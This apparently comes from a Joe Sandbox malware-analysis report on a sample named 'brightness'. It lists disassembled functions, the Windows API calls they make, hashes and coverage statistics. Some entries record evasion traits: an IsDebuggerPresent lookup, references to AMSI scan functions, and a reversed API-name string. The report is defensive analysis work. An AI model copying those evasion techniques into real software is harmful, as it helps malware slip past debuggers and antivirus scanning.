                                                                                                                                                              • Part of subcall function 0283A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0283A762
                                                                                                                                                            • GetThreadLocale.KERNEL32(00000000,00000004,00000000,0283AA67,?,?,00000000), ref: 0283AA18
                                                                                                                                                            • EnumCalendarInfoA.KERNEL32(Function_0000A91C,00000000,00000000,00000004), ref: 0283AA23
                                                                                                                                                            • GetThreadLocale.KERNEL32(00000000,00000003,00000000,0283AA67,?,?,00000000), ref: 0283AA41
                                                                                                                                                            • EnumCalendarInfoA.KERNEL32(Function_0000A958,00000000,00000000,00000003), ref: 0283AA4C
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Locale$InfoThread$CalendarEnum
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 4102113445-0
                                                                                                                                                            • Opcode ID: 468659517f86cf699f5d64ac607519424982c3c2ece26d701e343c43a86e1017
                                                                                                                                                            • Instruction ID: d3277bc07c2ae7c756282dcc93a56606d996781d509a7f3141352ba08af41cc3
                                                                                                                                                            • Opcode Fuzzy Hash: 468659517f86cf699f5d64ac607519424982c3c2ece26d701e343c43a86e1017
                                                                                                                                                            • Instruction Fuzzy Hash: 3101F73E2402587BF707AA6C8D12B6E735DDB46720F910160F650E67C0F5689E104AEA
                                                                                                                                                            Function 0283AA80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetThreadLocale.KERNEL32(?,00000000,0283AC50,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0283AAAF
                                                                                                                                                              • Part of subcall function 0283A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0283A762
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Locale$InfoThread
                                                                                                                                                            • String ID: eeee$ggg$yyyy
                                                                                                                                                            • API String ID: 4232894706-1253427255
                                                                                                                                                            • Opcode ID: d42a75b40a21166ed54712400ea7d2e8aafe7ead209f4e38ca6cba1cdaa7b832
                                                                                                                                                            • Instruction ID: b293307f6341923b85d59b680b55dafad397cfeba315bff1dbb76c2256532b16
                                                                                                                                                            • Opcode Fuzzy Hash: d42a75b40a21166ed54712400ea7d2e8aafe7ead209f4e38ca6cba1cdaa7b832
                                                                                                                                                            • Instruction Fuzzy Hash: D141F23D70410D4BEB0BEB6D88802BEB3EBDB85204B544565E5E2C7345EA78DD068AE2
                                                                                                                                                            Function 02848018 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02848088,?,?,00000000,?,028479FE,ntdll,00000000,00000000,02847A43,?,?,00000000), ref: 02848056
                                                                                                                                                              • Part of subcall function 028480C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(?,?), ref: 02848125
                                                                                                                                                            • GetModuleHandleA.KERNELBASE(?), ref: 0284806A
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: HandleModule$AddressProc
                                                                                                                                                            • String ID: AeldnaHeludoMteG$KernelBASE
                                                                                                                                                            • API String ID: 1883125708-1952140341
                                                                                                                                                            • Opcode ID: 45aff55734558023b07df459618f5e5fdeccb9dd65ea3a8885e20a8de899e916
                                                                                                                                                            • Instruction ID: 23cd1befa68ccf743333046da1168b38d206a5e033b7dcc7e82752d224696367
                                                                                                                                                            • Opcode Fuzzy Hash: 45aff55734558023b07df459618f5e5fdeccb9dd65ea3a8885e20a8de899e916
                                                                                                                                                            • Instruction Fuzzy Hash: 06F0963D65030CBFE701EFA8DC4295E77ADF7497407554520F900D3614EB74BD04AA96
                                                                                                                                                            Function 0284EFC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetModuleHandleW.KERNEL32(KernelBase,?,0284F3CC,UacInitialize,0289237C,0285B40C,UacScan,0289237C,0285B40C,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanString), ref: 0284EFCE
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 0284EFE0
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AddressHandleModuleProc
                                                                                                                                                            • String ID: IsDebuggerPresent$KernelBase
                                                                                                                                                            • API String ID: 1646373207-2367923768
                                                                                                                                                            • Opcode ID: 4f085b21190c85c3069a4855c3e4b078e65b8435c32331d2078a95bad05cd32a
                                                                                                                                                            • Instruction ID: 0b040f89994ff112f829df2f19b9f67be08c70d5e06c72372cb54f72030b4774
                                                                                                                                                            • Opcode Fuzzy Hash: 4f085b21190c85c3069a4855c3e4b078e65b8435c32331d2078a95bad05cd32a
                                                                                                                                                            • Instruction Fuzzy Hash: 35D0226E3003342FB90033FC0CC080D024C8A440697200F61B022C11D3FE6B88111004
                                                                                                                                                            Function 0283C3F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll,?,0285D10B,00000000,0285D11E), ref: 0283C3FA
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 0283C40B
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AddressHandleModuleProc
                                                                                                                                                            • String ID: GetDiskFreeSpaceExA$kernel32.dll
                                                                                                                                                            • API String ID: 1646373207-3712701948
                                                                                                                                                            • Opcode ID: 220ecbc1d35817a32f497969990ab2018a4fb934fc8f80ea6356dd9a67de7823
                                                                                                                                                            • Instruction ID: 43bfc7b2f62c0d11b1728e9ddaeca47d2b8f38a9058006a4bb3edcf14c562e37
                                                                                                                                                            • Opcode Fuzzy Hash: 220ecbc1d35817a32f497969990ab2018a4fb934fc8f80ea6356dd9a67de7823
                                                                                                                                                            • Instruction Fuzzy Hash: FCD05EADA403205AFB036BB96C8163636889704366B00D826E005E5242E7BD84148FD4
                                                                                                                                                            Function 0283E168 Relevance: 6.1, APIs: 4, Instructions: 115COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0283E217
                                                                                                                                                            • SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0283E233
                                                                                                                                                            • SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0283E2AA
                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 0283E2D3
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: ArraySafe$Bound$ClearIndexVariant
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 920484758-0
                                                                                                                                                            • Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
                                                                                                                                                            • Instruction ID: 940c224ce8483e8f9faab1adeb11ae13dbe38e17e9d21f01d9f85f706582b477
                                                                                                                                                            • Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
                                                                                                                                                            • Instruction Fuzzy Hash: 2441D57DA016299BCB62DB58CC90BD9B3BDBF49614F0041D5EA49E7211DA34AF808FA1
                                                                                                                                                            Function 0283ACBC Relevance: 6.1, APIs: 4, Instructions: 102COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • VirtualQuery.KERNEL32(?,?,0000001C), ref: 0283ACD9
                                                                                                                                                            • GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0283ACFD
                                                                                                                                                            • GetModuleFileNameA.KERNEL32(02830000,?,00000105), ref: 0283AD18
                                                                                                                                                            • LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0283ADAE
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: FileModuleName$LoadQueryStringVirtual
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 3990497365-0
                                                                                                                                                            • Opcode ID: 3a3b01d9e6222236c4b4a15a037544bb06613c038b5160339b8e8530bd0de0ba
                                                                                                                                                            • Instruction ID: e2ed8f955b843310bd5f62ca5bf324404640990331edbcdce4b4941a1b7c66a5
                                                                                                                                                            • Opcode Fuzzy Hash: 3a3b01d9e6222236c4b4a15a037544bb06613c038b5160339b8e8530bd0de0ba
                                                                                                                                                            • Instruction Fuzzy Hash: 36412D7CA002589BDB22DB68CC84BDAB7FDAB08301F0440E5A548E7341DB75AF888F95
                                                                                                                                                            Function 0283ACBA Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • VirtualQuery.KERNEL32(?,?,0000001C), ref: 0283ACD9
                                                                                                                                                            • GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0283ACFD
                                                                                                                                                            • GetModuleFileNameA.KERNEL32(02830000,?,00000105), ref: 0283AD18
                                                                                                                                                            • LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0283ADAE
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: FileModuleName$LoadQueryStringVirtual
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 3990497365-0
                                                                                                                                                            • Opcode ID: 1287e048a0fcba6c86fa2ff0a41d9adbea1c2e72a84a5df8ccf5085259a8f64f
                                                                                                                                                            • Instruction ID: 0520d68f66eae8af21883d99d7359051c23542f6b1b4dfc8020b263b66c477a5
                                                                                                                                                            • Opcode Fuzzy Hash: 1287e048a0fcba6c86fa2ff0a41d9adbea1c2e72a84a5df8ccf5085259a8f64f
                                                                                                                                                            • Instruction Fuzzy Hash: 5641317CA402589BDB22DB6CCC84BDAB7FDAB08301F0400E5A548E7351DB75AF888F95
                                                                                                                                                            Function 02831C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 5ac5157f766f3f2009f7f0dd1893fa83b6d9210a8130f9c34780e4a375229d55
                                                                                                                                                            • Instruction ID: e231bfd603c0d1d0fdd4639ce62d88204460cad655ec7e39163dd6d45d004378
                                                                                                                                                            • Opcode Fuzzy Hash: 5ac5157f766f3f2009f7f0dd1893fa83b6d9210a8130f9c34780e4a375229d55
                                                                                                                                                            • Instruction Fuzzy Hash: 8CA1FA6E7106000BE71AAA7C9C883BDB3C2DBC5B25F18827EE11DCB785DB64C95687D1
                                                                                                                                                            Function 0283946C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,0283955A), ref: 028394F2
                                                                                                                                                            • GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,0283955A), ref: 028394F8
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: DateFormatLocaleThread
                                                                                                                                                            • String ID: yyyy
                                                                                                                                                            • API String ID: 3303714858-3145165042
                                                                                                                                                            • Opcode ID: 420ad106ae45a5fb7abd4e1d79083036d44322cf8a4ce61c01c6c57b1f4f86b8
                                                                                                                                                            • Instruction ID: 8f343cf6fd33cc17e6c9a5df87ff5ebcc78a590f26f68d4d4dfd36922198c997
                                                                                                                                                            • Opcode Fuzzy Hash: 420ad106ae45a5fb7abd4e1d79083036d44322cf8a4ce61c01c6c57b1f4f86b8
                                                                                                                                                            • Instruction Fuzzy Hash: 9D21627EA002189FDB12DF98C841AAE73B9EF08710F4140A5E949D7350D7B4DE40CBE6
                                                                                                                                                            Function 02848184 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02848088,?,?,00000000,?,028479FE,ntdll,00000000,00000000,02847A43,?,?,00000000), ref: 02848056
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNELBASE(?), ref: 0284806A
                                                                                                                                                              • Part of subcall function 028480C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(?,?), ref: 02848125
                                                                                                                                                            • FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0284820E), ref: 028481F0
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: HandleModule$AddressProc$CacheFlushInstruction
                                                                                                                                                            • String ID: FlushInstructionCache$Kernel32
                                                                                                                                                            • API String ID: 3811539418-184458249
                                                                                                                                                            • Opcode ID: 6c7aad7d2105eb8200f0a31dcbe719222fab2f6b3c05e87d836433e8bb94d2df
                                                                                                                                                            • Instruction ID: 1ba7ce5fcf552795d4789249909903b42ffd82d2a853da49c58506d4067ee0bc
                                                                                                                                                            • Opcode Fuzzy Hash: 6c7aad7d2105eb8200f0a31dcbe719222fab2f6b3c05e87d836433e8bb94d2df
                                                                                                                                                            • Instruction Fuzzy Hash: EF01817DA40708BFE711EFA8DC41F5A77ADE748B10F554860BD00D3660DA74AD109B65
                                                                                                                                                            Function 02836444 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11memoryCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AllocValue
                                                                                                                                                            • String ID: (6~
                                                                                                                                                            • API String ID: 1189806713-4156424964
                                                                                                                                                            • Opcode ID: 2bb17c531a9cc21a438b196b3596b5fffb8c5e609ecbd0e950e1055d8660a1e8
                                                                                                                                                            • Instruction ID: 41414fa99bf0e3a52a05e7d18bbf10df9de8b82478c01af16efa2cf0466f57eb
                                                                                                                                                            • Opcode Fuzzy Hash: 2bb17c531a9cc21a438b196b3596b5fffb8c5e609ecbd0e950e1055d8660a1e8
                                                                                                                                                            • Instruction Fuzzy Hash: C1C012BCD44331AAEB02BBBC980460A329DEB01741B088820B504C7188FB39C0109F9A
                                                                                                                                                            Function 0284AD5C Relevance: 5.1, APIs: 4, Instructions: 72COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,00000004), ref: 0284AD90
                                                                                                                                                            • IsBadWritePtr.KERNEL32(?,00000004), ref: 0284ADC0
                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,00000008), ref: 0284ADDF
                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,00000004), ref: 0284ADEB
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Read$Write
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 3448952669-0
                                                                                                                                                            • Opcode ID: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
                                                                                                                                                            • Instruction ID: 02a823c1bbb1b81b72a6362b2c6459d4fc0836a78bebeb77370abad8c03138f8
                                                                                                                                                            • Opcode Fuzzy Hash: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
                                                                                                                                                            • Instruction Fuzzy Hash: 9421A2BD68061DABDB14DF29CC80BAE73A9EF44361F008111EE54DB341EF34E9119AE4

                                                                                                                                                            Execution Graph

                                                                                                                                                            Execution Coverage:9.1%
                                                                                                                                                            Dynamic/Decrypted Code Coverage:66.7%
                                                                                                                                                            Signature Coverage:13.6%
                                                                                                                                                            Total number of Nodes:648
                                                                                                                                                            Total number of Limit Nodes:51
